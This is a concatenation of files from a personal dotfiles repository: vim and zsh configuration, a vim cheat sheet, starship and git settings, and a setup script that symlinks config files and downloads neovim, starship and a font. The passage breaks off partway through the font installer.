let g:taboo_tab_format='[%N] %f%m'
let g:taboo_renamed_tab_format='[%N:%l] %f%m'
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => vim-fswitch plugin
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if dein#is_available('derekwyatt/vim-fswitch')
let g:fsnonewfiles='off'
au! BufEnter *.cpp,*.cc,*.c let b:fswitchdst = 'h,hpp' | let b:fswitchlocs = 'reg:/src/include/,reg:/src/api/,reg:/src/inc/,rel:../include/,rel:../../include/,rel:../inc,rel:../../inc,rel:../api/,rel:../../api/,rel:./,rel:../,rel:../../'
au! BufEnter *.h,*.hpp let b:fswitchdst = 'cpp,cc,c' | let b:fswitchlocs = 'reg:/include/src/,reg:/inc/src/,reg:/api/src/,rel:../src,rel:../../src,rel:./,rel:../,rel:../../'
nmap <silent> <Leader>s :FSHere<cr>
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => vim-pandoc plugin
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if dein#is_available('vim-pandoc-syntax')
augroup pandoc_syntax
au! BufNewFile,BufFilePre,BufRead *.md set filetype=markdown.pandoc
augroup END
let g:pandoc#syntax#conceal#use=0
let g:pandoc#syntax#style#emphases=0
let g:pandoc#syntax#roman_lists=0
let g:pandoc#syntax#style#underline_special=0
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => grep plugin
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if dein#is_available('grep')
:let Grep_Skip_Files = '*.bak *~ *.pyc *.so *.o *.a *.lib *.bin'
nnoremap <silent> <F3> :Rgrep<CR>
vnoremap <F3> :<C-U>
\let old_reg=getreg('"')<Bar>let old_regtype=getregtype('"')<CR>
\gvy:
\let patt=substitute(escape(getreg('"'),'?\.*$^~['),'\_s\+','\\s\\+','g')<CR>
\gV:call setreg('"', old_reg, old_regtype)<CR>
\:Rgrep <C-r>=patt<CR>
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => NERDTree
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if dein#is_available('nerdtree')
map <C-n> :NERDTreeToggleVCS<CR>
autocmd BufEnter * if (winnr("$") == 1 && exists("b:NERDTreeType") && b:NERDTreeType == "primary") | q | endif
autocmd BufEnter * if bufname('#') =~# "^NERD_tree_" && winnr('$') > 1 | b# | endif
let NERDTreeIgnore = ['\.py[cdo]$', '^__pycache__$', '\.bin$', '\.log$']
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => asyncomplete.vim
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if dein#is_available('asyncomplete.vim')
let g:asyncomplete_auto_popup = 1
let g:asyncomplete_auto_completeopt = 1
set completeopt=menuone,noinsert,noselect,preview
" Auto close preview when completion is done
autocmd! CompleteDone * if pumvisible() == 0 | pclose | endif
" Use tab completion
inoremap <expr> <Tab> pumvisible() ? "\<C-n>" : "\<Tab>"
inoremap <expr> <S-Tab> pumvisible() ? "\<C-p>" : "\<S-Tab>"
inoremap <expr> <cr> pumvisible() ? asyncomplete#close_popup() : "\<cr>"
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => vim-lsp-settings
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if dein#is_available('vim-lsp-settings')
" https://opensourcelibs.com/lib/vim-lsp-settings
let g:lsp_settings_servers_dir = expand('~').'/.vim/vim-lsp-settings/servers'
let g:lsp_settings_filetype_cmake = 'cmake-language-server'
let g:lsp_settings_filetype_python = 'pylsp'
let g:lsp_settings_filetype_sh = 'bash-language-server'
let g:lsp_settings_filetype_tex = 'texlab'
let g:lsp_settings_filetype_vim = 'vim-language-server'
" pylsp settings available:
" https://github.com/python-lsp/python-lsp-server/blob/develop/CONFIGURATION.md
let g:lsp_settings = {
\ 'bash-language-server': {
\ 'disabled': ! executable('bash-language-server'),
\ },
\ 'clangd': {
\ 'disable': ! executable('clangd'),
\ 'args': [],
\ },
\ 'cmake-language-server': {
\ 'disabled': ! executable('cmake-language-server'),
\ },
\ 'pylsp': {
\ 'disable': ! executable('pylsp'),
\ 'workspace_config': {'pylsp': {
\ 'plugins': {
\ 'pylint': {'enabled': v:false},
\ 'jedi': {'use_pyenv_environment': v:true},
\ 'flake8': {'enabled': v:true},
\ 'mccabe': {'enabled': v:false},
\ 'pycodestyle': {'enabled': v:false},
\ 'pydocstyle': {'enabled': v:false},
\ 'pyflakes': {'enabled': v:false},
\ 'yapf': {'enabled': v:false},
\ },
\ }},
\ },
\ 'remark-language-server': {
\ 'disabled': v:true,
\ },
\ 'texlab': {
\ 'disabled': ! executable('texlab'),
\ },
\ 'vim-language-server': {
\ 'disabled': ! executable('vim-language-server'),
\ },
\ }
" note for later: clangd option --all-scopes-completion for version >= 10
if s:_debug_lsp
let g:lsp_settings.clangd.args += ['--log=verbose']
let g:lsp_settings.pylsp.args = ['-v', '-v', '--log-file', expand('~/.vim/pylsp.log')]
endif
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => vim-lsp-settings
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if dein#is_available('vim-lsp')
let g:lsp_fold_enabled = 0
let g:lsp_diagnostics_enabled = 1
" TODO: redundant with hilightcursor?
let g:lsp_document_highlight_enabled = 1
let g:lsp_completion_documentation_enabled = 1
let g:lsp_completion_documentation_delay = 120
let g:lsp_diagnostics_signs_priority = 9
let g:lsp_diagnostics_echo_cursor = 1
let g:lsp_diagnostics_highlights_enabled = 0
let g:lsp_diagnostics_highlights_insert_mode_enabled = 0
let g:lsp_diagnostics_highlights_delay = 1000
let g:lsp_diagnostics_signs_enabled = 1
if s:airline_powerline_fonts
let g:lsp_diagnostics_signs_error = {'text': '✗'}
let g:lsp_diagnostics_signs_warning = {'text': '⚠'}
let g:lsp_diagnostics_signs_information = {'text': "\uF7FC"}
let g:lsp_diagnostics_signs_hint = {'text': "\uF835"}
endif
if has('patch-8.1.1517') || has('nvim')
" Support for float windows
let g:lsp_preview_float = 1
let g:lsp_preview_autoclose = 1
let g:lsp_signature_help_enabled = 1
let g:lsp_diagnostics_float_cursor = 1
else
let g:lsp_preview_float = 0
let g:lsp_diagnostics_float_cursor = 0
let g:lsp_signature_help_enabled = 0
endif
let g:lsp_diagnostics_virtual_text_enabled = 0
let g:lsp_diagnostics_virtual_text_insert_mode_enabled = 0
let g:lsp_hover_conceal = 0
let g:lsp_format_sync_timeout = 1000
if s:_debug_lsp
let g:lsp_log_verbose = 1
let g:lsp_log_file = expand('~/.vim/vim-lsp.log')
let g:asyncomplete_log_file = expand('~/.vim/asyncomplete.log')
endif
nmap gd <plug>(lsp-definition)
nmap gr <plug>(lsp-references)
" nmap <buffer> gs <plug>(lsp-document-symbol-search)
" nmap <buffer> gS <plug>(lsp-workspace-symbol-search)
" nmap gi <plug>(lsp-implementation)
" nmap gy <plug>(lsp-type-definition)
nmap gh <plug>(lsp-switch-source-header)
nmap <Leader>lf <Plug>(lsp-document-format)
vmap <Leader>lf <Plug>(lsp-document-range-format)
nmap [g <plug>(lsp-previous-diagnostic)
nmap ]g <plug>(lsp-next-diagnostic)
nmap K <plug>(lsp-hover)
" https://github.com/prabirshrestha/vim-lsp/issues/1263#issuecomment-1011892059
nmap <plug>() <Plug>(lsp-float-close)
nnoremap <expr><c-f> lsp#scroll(+4)
nnoremap <expr><c-d> lsp#scroll(-4)
endif
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
""" Also load local .vimrc if available
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
if filereadable(glob("~/.vimrc.local"))
source ~/.vimrc.local
endif
<file_sep>#! /bin/sh
echo ~/.ssh/
<file_sep>= vim
== Resources
// Ex commands
http://vimdoc.sourceforge.net/htmldoc/vimindex.html
////
Notes:
[n] is usually for a digit/number
[L-] is for a leader combination, by default the comma key ','
[C-] is for a CTRL- keys combination
[A-] is for an ALT- keys combination
[S-] is for a SHIFT keys combination
[ESC] is for the ESCAPE key
[TAB] is for the tabulation key
[MOTION] is for a motion (go to end of file, next paragraph, next line, left, etc.)
[visual], [normal], ... is for vim modes in which the command works (by default normal)
////
== Commands
=== General
:sh Launch a shell, and once exited go back to vim
:! [cmd] Run [cmd] in the shell
:10,15 ! sha512sum
=> use lines 10 to 15 as input for "sha512sum" external command, and replace them with the output of that command
ga Indicates information about the char under the cursor (hex code, etc.)
V [select lines] 0 [C-v] I # <ESC>
=> adds a # in front of all selected lines
0d[C-v]} Delete the first character of all lines up to the end of the paragraph
0dv } Delete all the lines from the current one to the end of the paragraph
[n][C-a] Adds [n] to current number under cursor
[n][C-x] Substracts [n] to current number under cursor
di" Remove all the content inside the current double quote string the cursor is in, but keep the quotes
da" Idem, but remove the quotes as well
daW Remove the current WORD under the cursor
di( Remove the inner content of the current parenthesis block
i[C-v][TAB] Insert a real TAB, ignoring expandtab option
[C-v] in insert mode is for "insert literal copy of next character")
[select text] meomsv`ea"[ESC]`si"[ESC]
Add double quotes around the selected text:
- sets a marker "e" at the current location: "me"
- move to other side of selection: "o"
- set a marker "s" there: "ms"
- quit visual mode: "v"
- go to marker "e": "`e"
- append a quote: a"[ESC]
- go to marker "s"
- insert a quote: i"[ESC]
:%!xxd Hexadecimal display
:%!xxd -r Revert to text mode
:%normal A; Insert a ";" at the end of all lines
=== Copy and move
:2,8co15 Copy lines 2 through 8 after line 15
:4,15t$ Copy lines 4 through 15 to end of document (t == co)
:-t$ Copy previous line to end of document
:m0 Move current line to line 0 (i.e. the top of the document)
:.,+3m$-1 Current line through current+3 are moved to the lastLine-1 (i.e. next to last)
=== Format
>> Indent line
<< Un-indent line
V [select lines]> Indent selection
V [select lines]< Un-indent selection
[C-t] Indent current line in insert mode
[C-d] Unindent current line in insert mode
gq In visual mode, re-format current selection
gwip Re-format current paragraph
=== Search and replace
:%s/old/new/g Replace all occurences of old by new in the file
:%s/old/new/gc Replace all occurences of old by new in the file but ask before each change
:%s/\%x85/\t/g Replace 0x85 character with a tab in the file
V [select lines]:s/a/b/
Replace first "a" in each selected line with "b"
:/^include/+1,$-1s#if#oops#g
Replace all occurences of "if" with "oops" from the line following the next line containing "include" (from cursor), up to the line before the last one
:4,/this line/:s/a/A/g
Replace all "a" with "A" starting from line 4 up to first line containing "this line" after the cursor
:4;/this line/:s/a/A/g
Exactly the same command as before, but with "," replaced by ";"
Replace all "a" with "A" starting from line 4 up to first line containing "this line" after the line 4
";" sets the "current line" to be the one found to be the start of the range, and not the cursor anymore
[I
Lists all lines in open buffers that contain the word under cursor
:s/Copyright \zs2007\ze All Rights Reserved/2008/
Change 2007 to 2008 in this specific sentence, through the whole document
=== Global editing
:g/[pattern]/d Delete all lines matching [pattern]
:g!/[pattern]/d Delete all lines NOT matching [pattern]
:v/[pattern]/d (idem)
:g/[pattern]/d 2 Delete 2 lines starting from any line matching [pattern]
:g/pattern/t$ Copy all lines matching a pattern to end of file.
:g/pattern/m$ Move all lines matching a pattern to end of file.
:g/pattern/exe "normal! [commands]" Execute a set of VIM commands for each line matchin a pattern
=== Navigation
[n]* Search forward for the Nth occurrence of the ident under the cursor
[n]# Search backward for the Nth occurrence of the ident under the cursor
[n]$ Cursor to the end of Nth next line
% On a parenthesis, go to the corresponding other one
:Vex Create new split windows (vertical), with a file explorer in it (to select new file to edit in the new windows)
:Sex Create new split windows (horizontal), with a file explorer in it (to select new file to edit in the new windows)
[n]g; Go to [n] older position in change list.
[n]g, Go to [n] newer position in change list.
} Go to next blank line
{ Go to previous blank line
]] Go to next top-level function/class definition start
]] Go to previous top-level function/class definition start
]m Go to next funtion/class/method definition start
[m Go to previous funtion/class/method definition start
[n]w Cursor N words forward
[n]b Cursor N words backward
[n]e Cursor end of N words forward
=> words = sequence of letters, digits and underscores, or a sequence of other non-blank characters, separated with white space
[n]W Cursor N WORDS forward
[n]B Cursor N WORDS backward
[n]E Cursor end of N WORDS
=> WORDS = sequence of non-blank characters, separated with white space
0 Go to beginning of the line
$ Go to end of the line
+ Go to the beginning of next line (first non-blank char)
- Go to the beginning of previous line (first non-blank char)
_ Go to the beginning of current line (first non-blank char)
[n]gg Go to the beginning of nth line (first non-blank char), default first one
[n]G Go to the beginning of nth line (first non-blank char), default last one
f[char] Go to next [char] on the current line, cursor on the character
F[char] Go to previous [char] on the current line, cursor on the character
Note: t/T does the same but with previous characters on the line
[[ Jump on previous class or function (normal, visual, operator modes)
]] Jump on next class or function (normal, visual, operator modes)
[M Jump on previous class or method (normal, visual, operator modes)
]M Jump on next class or method (normal, visual, operator modes)
[C-o] Jump back to the previous location in jumplist
[C-i] Jump forward to netx location in jumplist
=== Editing
o Start insert mode on a new line, right after the current one
O Start insert mode on a new line, right before the current one
[visual] [C-o] Use an :ex command in insert mode, and then go back in insert mode
[C-n] Autocompletion based on open buffers (and [C-p] to go to previous completion)
=== Changes
u Undo last change
[C-R] Undo last undo
. Repeat last operation ("redo")
[n]@: Repeat last :ex command [n] times
=== Macros
q[letter][whatever]q
Record a macro in register [letter] (all keystrikes)
[n]@[letter]
Replay macro of register [letter]
[visual] V [select whatever] :norm! @[letter]
Play macro of register [letter] on all lines of the visual select
=== Buffers
:ls List all buffers
:b[n] Switch to buffer number [n]
:bn Go to next buffer
:bp Go to previous buffer
:[n]b Go to [n]th buffer
:b# Back to previously active buffer
:bd Remove buffer
=== Split
:sp create horizontal split
:vsp create vertical split
[C-w] h go left split
[C-w] j go up split
[C-w] k go down split
[C-w] l go right spit
[C-w] = normalize split sizes
[C-w][n]- [n] lines less for the split
[C-w][n]+ [n] lines more for the split
[C-w][n]< [n] columns less for the split
[C-w][n]> [n] columns more for the split
[C-w]c close current split
[C-w]w Switch to next split
=== Wildmenu
enabled in conf, allows to use <up> <down> <right> <left> for navigation in folders/files, and <tab> completion
### Copy and paste
[cursor to beginning] v [cursor to end] y [cursor to target] P
Copy a block and paste it after the cursor
Notes:
* 'V' instead of 'v' to select whole lines
* 'd' instead of 'y' to cut
* 'p' insteand of 'P' to paster after cursor
"*yy Copy current line to the system selection buffer (middle-click stuff usually)
"+yy Copy current line to the system cut buffer ('clipboard')
### diff
]c Go to next diff
[c Go to previous diff
do Get changes from other window
dp Put changes to other window
:diffupdate Refresh diff
=== Gitglutter plugin
<L> hr Revert current hunk git changes
<L> hs Stage current hunk git changes
]c Go to next diff
[c Go to previous diff
=== tcomment_vim plugin
gc[MOTION] Toggle comments on motion
[visual]gc Toggle comments on selection
[C-_][C-_] Toggle comments on current line
[C-_]p Comment the current inner paragraph
=== Operators
|c| c change
|d| d delete
|y| y yank into register (does not change the text)
|~| ~ swap case (only if 'tildeop' is set)
|g~| g~ swap case
|gu| gu make lowercase
|gU| gU make uppercase
|!| ! filter through an external program
|=| = filter through 'equalprg' or C-indenting if empty
|gq| gq text formatting
|g?| g? ROT13 encoding
|>| > shift right
|<| < shift left
|zf| zf define a fold
|g@| g@ call function set with the 'operatorfunc' option
== Misc
FORCING A MOTION TO BE LINEWISE, CHARACTERWISE OR BLOCKWISE
When a motion is not of the type you would like to use, you can force another
type by using "v", "V" or CTRL-V just after the operator.
Example:
dj
deletes two lines
dvj
deletes from the cursor position until the character below the cursor
d[C-v]j
deletes the character under the cursor and the character below the cursor.
Be careful with forcing a linewise movement to be used characterwise or
blockwise, the column may not always be defined.
*o_v*
v When used after an operator, before the motion command: Force
the operator to work characterwise, also when the motion is
linewise. If the motion was linewise, it will become
|exclusive|.
If the motion already was characterwise, toggle
inclusive/exclusive. This can be used to make an exclusive
motion inclusive and an inclusive motion exclusive.
*o_V*
V When used after an operator, before the motion command: Force
the operator to work linewise, also when the motion is
characterwise.
*o_CTRL-V*
CTRL-V When used after an operator, before the motion command: Force
the operator to work blockwise. This works like Visual block
mode selection, with the corners defined by the cursor
position before and after the motion.
<file_sep>#! /bin/sh
find ~/.mozilla/firefox/*.default*/ -maxdepth 0
# find ~/snap/firefox/common/.mozilla/firefox/ -maxdepth 0
<file_sep>format = "${custom.myflags}$all"
command_timeout = 1000
[username]
show_always = true
format = "[$user]($style)"
style_root = "bold red"
style_user = "green"
[hostname]
ssh_only = false
format = "@[$hostname$ssh_symbol:]($style)"
style = "bold green"
ssh_symbol = "\\(:\\)"
[character]
success_symbol = "[❯](bold green) "
error_symbol = "[❯](bold red) "
[directory]
truncation_length = 0
truncate_to_repo = false
[aws]
format = '\[[$symbol($profile)(\($region\))(\[$duration\])]($style)\]'
[bun]
format = '\[[$symbol($version)]($style)\]'
[c]
format = '\[[$symbol($version(-$name))]($style)\]'
[cmake]
format = '\[[$symbol($version)]($style)\]'
[cmd_duration]
format = '\[[⏱ $duration]($style)\]'
[cobol]
format = '\[[$symbol($version)]($style)\]'
[conda]
format = '\[[$symbol$environment]($style)\]'
[crystal]
format = '\[[$symbol($version)]($style)\]'
[daml]
format = '\[[$symbol($version)]($style)\]'
[dart]
format = '\[[$symbol($version)]($style)\]'
[deno]
format = '\[[$symbol($version)]($style)\]'
[docker_context]
format = '\[[$symbol$context]($style)\]'
[dotnet]
format = '\[[$symbol($version)(🎯 $tfm)]($style)\]'
[elixir]
format = '\[[$symbol($version \(OTP $otp_version\))]($style)\]'
[elm]
format = '\[[$symbol($version)]($style)\]'
[erlang]
format = '\[[$symbol($version)]($style)\]'
[gcloud]
format = '\[[$symbol$account(@$domain)(\($region\))]($style)\]'
[git_branch]
format = '\[[$symbol$branch]($style)'
[git_commit]
only_detached = false
tag_disabled = true
style = "purple"
format = " [\\($hash$tag\\)]($style)\\]"
[git_status]
format = '([\[$all_status$ahead_behind\]]($style))'
ahead = "⇡${count}"
diverged = "⇕⇡${ahead_count}⇣${behind_count}"
behind = "⇣${count}"
stashed = ""
[golang]
format = '\[[$symbol($version)]($style)\]'
[haskell]
format = '\[[$symbol($version)]($style)\]'
[helm]
format = '\[[$symbol($version)]($style)\]'
[hg_branch]
format = '\[[$symbol$branch]($style)\]'
[java]
format = '\[[$symbol($version)]($style)\]'
[julia]
format = '\[[$symbol($version)]($style)\]'
[kotlin]
format = '\[[$symbol($version)]($style)\]'
[kubernetes]
format = '\[[$symbol$context( \($namespace\))]($style)\]'
[lua]
format = '\[[$symbol($version)]($style)\]'
[memory_usage]
format = '\[$symbol[$ram( | $swap)]($style)\]'
[meson]
format = '\[[$symbol$project]($style)\]'
[nim]
format = '\[[$symbol($version)]($style)\]'
[nix_shell]
format = '\[[$symbol$state( \($name\))]($style)\]'
[nodejs]
format = '\[[$symbol($version)]($style)\]'
[ocaml]
format = '\[[$symbol($version)(\($switch_indicator$switch_name\))]($style)\]'
[openstack]
format = '\[[$symbol$cloud(\($project\))]($style)\]'
[package]
format = '\[[$symbol$version]($style)\]'
[perl]
format = '\[[$symbol($version)]($style)\]'
[php]
format = '\[[$symbol($version)]($style)\]'
[pulumi]
format = '\[[$symbol$stack]($style)\]'
[purescript]
format = '\[[$symbol($version)]($style)\]'
[python]
format = '\[[${symbol}${pyenv_prefix}(${version})(\($virtualenv\))]($style)\]'
[raku]
format = '\[[$symbol($version-$vm_version)]($style)\]'
[red]
format = '\[[$symbol($version)]($style)\]'
[ruby]
format = '\[[$symbol($version)]($style)\]'
[rust]
format = '\[[$symbol($version)]($style)\]'
[scala]
format = '\[[$symbol($version)]($style)\]'
[spack]
format = '\[[$symbol$environment]($style)\]'
[sudo]
format = '\[[as $symbol]\]'
[swift]
format = '\[[$symbol($version)]($style)\]'
[terraform]
format = '\[[$symbol$workspace]($style)\]'
[time]
format = '\[[$time]($style)\]'
[vagrant]
format = '\[[$symbol($version)]($style)\]'
[vlang]
format = '\[[$symbol($version)]($style)\]'
[zig]
format = '\[[$symbol($version)]($style)\]'
[custom.myflags]
description = "My own flags (DISPLAY available, shell in VIM)"
when = """ test -n "${DISPLAY}${VIMRUNTIME}${MYVIMRC}${VIM}${STY}${TMUX}" """
command = """
test -n "${DISPLAY}" && echo -n " " || true;
test -n "${STY}${TMUX}" && echo -n " " || true;
test -n "${VIMRUNTIME}${MYVIMRC}${VIM}" && echo -n " " || true;
"""
format = "[$output ]($style)"
style = "yellow"
<file_sep>#! /bin/sh
if [ ! -e ~/.gnupg ]; then
mkdir -p ~/.gnupg
chmod 700 ~/.gnupg
fi
echo ~/.gnupg/
<file_sep># source local file if relevant
bindkey -e # emacs-keymap, "fixes" tmux bindings and commands history navigation
test -f ~/.zshrc.local && source ~/.zshrc.local
setopt APPEND_HISTORY
setopt INC_APPEND_HISTORY
setopt HIST_FIND_NO_DUPS
setopt HIST_IGNORE_SPACE
setopt NO_HIST_BEEP
autoload -U colors && colors
set_prompt_spe() {
local is_ssh=$1
local is_container=$2
local is_screen=$3
local is_vim=$4
local has_x=$5
local is_user_root=$6
local user=$7
local hostname=$8
local prompt_sfx=
local prompt_symb=
local prompt_hostname=
local prompt_username=
PROMPT=
test ${is_vim} -eq 1 && prompt_sfx="${prompt_sfx}%B%{%F{red}%}v%b%{%f%}"
test ${is_screen} -eq 1 && prompt_sfx="${prompt_sfx}%{%F{yellow}%}s%{%f%}"
test ${has_x} -eq 1 && prompt_sfx="${prompt_sfx}%{%F{yellow}%}x%{%f%}"
test -n "${prompt_sfx}" && PROMPT="${PROMPT}${prompt_sfx}%{%F{yellow}%}|%{%f%}"
if [ ${is_user_root} -eq 1 ]; then
prompt_symb='#'
PROMPT="${PROMPT}%{%F{red}%}"
else
prompt_symb='$'
PROMPT="${PROMPT}%{%F{green}%}"
fi
prompt_username="${user}"
test -z "${prompt_username}" && prompt_username="%f"
PROMPT="${PROMPT}${prompt_username}%{%f%}%{%F{yellow}%}@%{%f%}"
prompt_hostname="%m"
test -n "${hostname}" && prompt_hostname=${hostname}
if [ ${is_ssh} -eq 1 -o ${is_container} -eq 1 ]; then
prompt_hostname="%{%F{cyan}%}%B${prompt_hostname}%b%{%f%}"
else
prompt_hostname="%{%F{green}%}%B${prompt_hostname}%b%{%f%}"
fi
PROMPT="${PROMPT}${prompt_hostname}%{%F{yellow}%}(%h):%b%{%f%}%~%B${prompt_symb}%b "
}
# source common file
test -f ~/.shellrc && source ~/.shellrc
if [ -n "${TMUX}" ]; then
preexec () {
refresh
}
fi
# Initialize starship prompt
which starship &> /dev/null && eval "$(starship init zsh)"
if direnv version &> /dev/null; then
eval "$(direnv hook zsh)"
fi
<file_sep>[alias]
br = branch -v
ci = commit
co = checkout
cp = cherry-pick
fp = format-patch
last = log -1 -p --stat HEAD
lg = log --graph --pretty=tformat:'%Cred%h%Creset -%C(auto)%d%Creset %s %Cgreen(%an %ar)%Creset'
mt = mergetool
st = status
rdiff = !git diff $(git for-each-ref --format='%(upstream:short)' $(git symbolic-ref -q HEAD)) HEAD
wdiff = !git diff --word-diff
wt = worktree
subup = !git submodule sync && git submodule update --recursive --init
[branch]
autosetupmerge = always
autosetuprebase = always
[color]
interactive = auto
ui = true
[color "branch"]
upstream = cyan
[core]
editor = vim
excludesfile = ~/.gitignore
pager = diff-so-fancy | less --tabs=4 --RAW-CONTROL-CHARS -+X -+F
whitespace = -trailing-space
[diff]
mnemonicPrefix = true
renames = true
wordRegex = .
[fetch]
recurseSubmodules = on-demand
prune = true
[grep]
extendedRegexp = true
[log]
# abbrevCommit = true
decorate = short
[merge]
conflictStyle = diff3
tool = vimdiff
[mergetool]
keepBackup = false
keepTemporaries = false
prompt = false
[pager]
diff = true
status = false
branch = false
config = false
[pull]
rebase = true
# Only available starting from 1.8.5
# rebase = preserve
[push]
default = tracking
[rerere]
# autoupdate = true
# enabled = true
[status]
showUntrackedFiles = all
submoduleSummary = true
[tag]
sort = version:refname
[color "diff-highlight"]
oldnormal = 160
oldhighlight = 181 88
newnormal = 34
newhighlight = 157 22
[color "diff"]
meta = magenta bold
frag = 146 bold
func = magenta
commit = yellow bold
old = 160
new = 34
whitespace = red reverse
[diff-so-fancy]
markEmptyLines = false
changeHunkIndicators = true
stripLeadingSymbols = true
useUnicodeRuler = false
rulerWidth =
[include]
# Set there a [user] section for instance, or machine specific config
path=~/.gitconfig.local
<file_sep>#! /bin/bash
set -euo pipefail
scriptDir=$(dirname "$0" | xargs -i readlink -f "{}")
cd "${scriptDir}"
all_yes=0
force_reinstall=0
usage() {
cat << EOF
Usage: $(basename "$0") [--help] [--yes] [--reinstall]
--help: this inline help
--yes: don't ask for installation and consider all answers to questions are "yes"
--reinstall: force the full reinstallation of elements if already installed
EOF
exit 1
}
parse_command_line() {
for param in "$@"; do
case "${param}" in
--help|-h)
usage
;;
--yes)
all_yes=1
;;
--reinstall)
force_reinstall=1
;;
*)
echo "Invalid parameter '${param}'"
usage
;;
esac
done
}
yes_no() {
if [ ${all_yes} -ne 0 ]; then return 0; fi
local answer="Y"
local question="$1"
local default="$2"
if [ "${default}" = "N" ]; then
read -p "${question} [y/N] " answer
elif [ "${default}" = "Y" ]; then
read -p "${question} [Y/n] " answer
else
echo "invalid default value"
exit 1
fi
if [ -z "${answer}" ]; then answer="${default}"; fi
if [ "${answer}" = "Y" -o "${answer}" = "y" ]; then
return 0
fi
return 1
}
install_conf_files() {
if ! yes_no "Install configuration/dot files?" "Y"; then return 0; fi
echo "Installing configuration files..."
# Check if files in this folder are present in the user home directory
# - if yes: backup (move)
# Then, create a symlink to our file
for conf_file_folder in $(find "${scriptDir}/files/" -mindepth 1 -maxdepth 1 -type d); do
for target_folder in $(${conf_file_folder}/location.sh); do
while IFS= read -r conf_file; do
target_file=${target_folder}/${conf_file}
if [ "$(readlink -f "${target_file}")" = "$(readlink -f "${conf_file_folder}/${conf_file}")" ]; then
# Already installed
# echo " - $(readlink -f "${conf_file_folder}/${conf_file}") already installed"
continue
fi
if [ -e "${target_file}" -o -L "${target_file}" ]; then
# File already exists, save it just in case...
mv "${target_file}" "${target_file}.backup"
fi
mkdir -p "$(dirname "${target_file}")"
ln -s "${conf_file_folder}/${conf_file}" "${target_file}"
echo " - $(readlink -f "${conf_file_folder}/${conf_file}") installed"
done < <(cd "${conf_file_folder}" && find . -mindepth 1 \( -type f -o -type l \) -a -not -name "location.sh")
done
done
echo "Installed configuration files."
}
install_neovim() {
local url=https://github.com/neovim/neovim/releases/download/stable/nvim-linux64.tar.gz
local target_exe=~/.local/bin/nvim
local fallback_exe=~/.local/bin/vim
local app_folder=~/.local/app/nvim-linux64
if [ ${force_reinstall} -eq 0 -a -e "${target_exe}" ]; then return 0; fi
if ! yes_no "Install neovim?" "Y"; then return 0; fi
if [ ${force_reinstall} -ne 0 ]; then
rm -rf "${app_folder}" "${target_exe}" "${fallback_exe}"
fi
echo "Installing neovim..."
mkdir -p "$(dirname "${app_folder}")" "$(dirname "${target_exe}")"
if type curl 2>&1 1>/dev/null; then
curl --proto '=https' --tlsv1.2 -LsSf "${url}" | tar -zxC "$(dirname "${app_folder}")"
elif type wget 2>&1 1>/dev/null; then
wget -qO - "${url}" | tar -zxC "$(dirname "${app_folder}")"
else
echo "Couldn't download neovim: please install curl or wget"
fi
ln -s "${app_folder}/bin/nvim" "${target_exe}"
ln -s "nvim" "${fallback_exe}"
echo "Installed neovim."
}
install_starship() {
local url=https://github.com/starship/starship/releases/latest/download/starship-x86_64-unknown-linux-gnu.tar.gz
local target_exe=~/.local/bin/starship
if [ ${force_reinstall} -eq 0 -a -e "${target_exe}" ]; then return 0; fi
if ! yes_no "Install starship?" "Y"; then return 0; fi
if [ ${force_reinstall} -ne 0 ]; then
rm -rf "${target_exe}"
fi
echo "Installing starship..."
mkdir -p "$(dirname "${target_exe}")"
if type curl 2>&1 1>/dev/null; then
curl --proto '=https' --tlsv1.2 -LsSf "${url}" | tar -zxC "$(dirname "${target_exe}")"
elif type wget 2>&1 1>/dev/null; then
wget -qO - "${url}" | tar -zxC "$(dirname "${target_exe}")"
else
echo "Couldn't download starship: please install curl or wget"
fi
echo "Installed starship."
}
install_vim_plugins() {
local dein_repo=https://github.com/Shougo/dein.vim
local pm_dir=~/.vim/plugin_manager
local bundles_dir=~/.vim/bundles
local dein_dir=${pm_dir}/dein.vim
local marker_install_done=${pm_dir}/.installation_ok
if [ ${force_reinstall} -eq 0 -a -f "${marker_install_done}" ]; then return 0; fi
if ! yes_no "Install vim plugins?" "Y"; then return 0; fi
type git 2>&1 1>/dev/null || {
echo 'Please install git or update your PATH to include the git executable'
return 1
}
if [ ${force_reinstall} -ne 0 ]; then
rm -rf "${pm_dir}" "${bundles_dir}"
fi
echo "Installing vim's plugins manager"
rm -rf "${pm_dir}"
mkdir -p "${pm_dir}"
git clone --quiet "${dein_repo}" "${dein_dir}"
mkdir -p "${bundles_dir}"
echo "date=$(date) - plugin_manager_hash=$(git -C "${dein_dir}" rev-parse HEAD)" > "${marker_install_done}"
if [ -f ~/.local/bin/nvim ]; then
vim=~/.local/bin/nvim
elif type nvim 2>&1 1>/dev/null; then
vim=nvim
elif type vim 2>&1 1>/dev/null; then
vim=vim
fi
"${vim}" +qall "$0"
echo "Installed vim plugins"
}
install_fonts() {
local my_font=~/.local/share/fonts/LiterationMonoNerdFontComplete.ttf
if [ ${force_reinstall} -eq 0 -a -e "${my_font}" ]; then return 0; fi
if ! yes_no "Install Nerd font?" "Y"; then return 0; fi
if [ ${force_reinstall} -ne 0 ]; then
rm -f "${my_font}"
fi
echo "Installing fonts..."
mkdir -p "$(dirname "${my_font}")"
if type curl 2>&1 1>/dev/null; then
curl --proto '=https' --tlsv1.2 -sSf "https://raw.githubusercontent.com/ryanoasis/nerd-fonts/master/patched-fonts/LiberationMono/complete/Literation%20Mono%20Nerd%20Font%20Complete.ttf" > "${my_font}"
elif type wget 2>&1 1>/dev/null; then
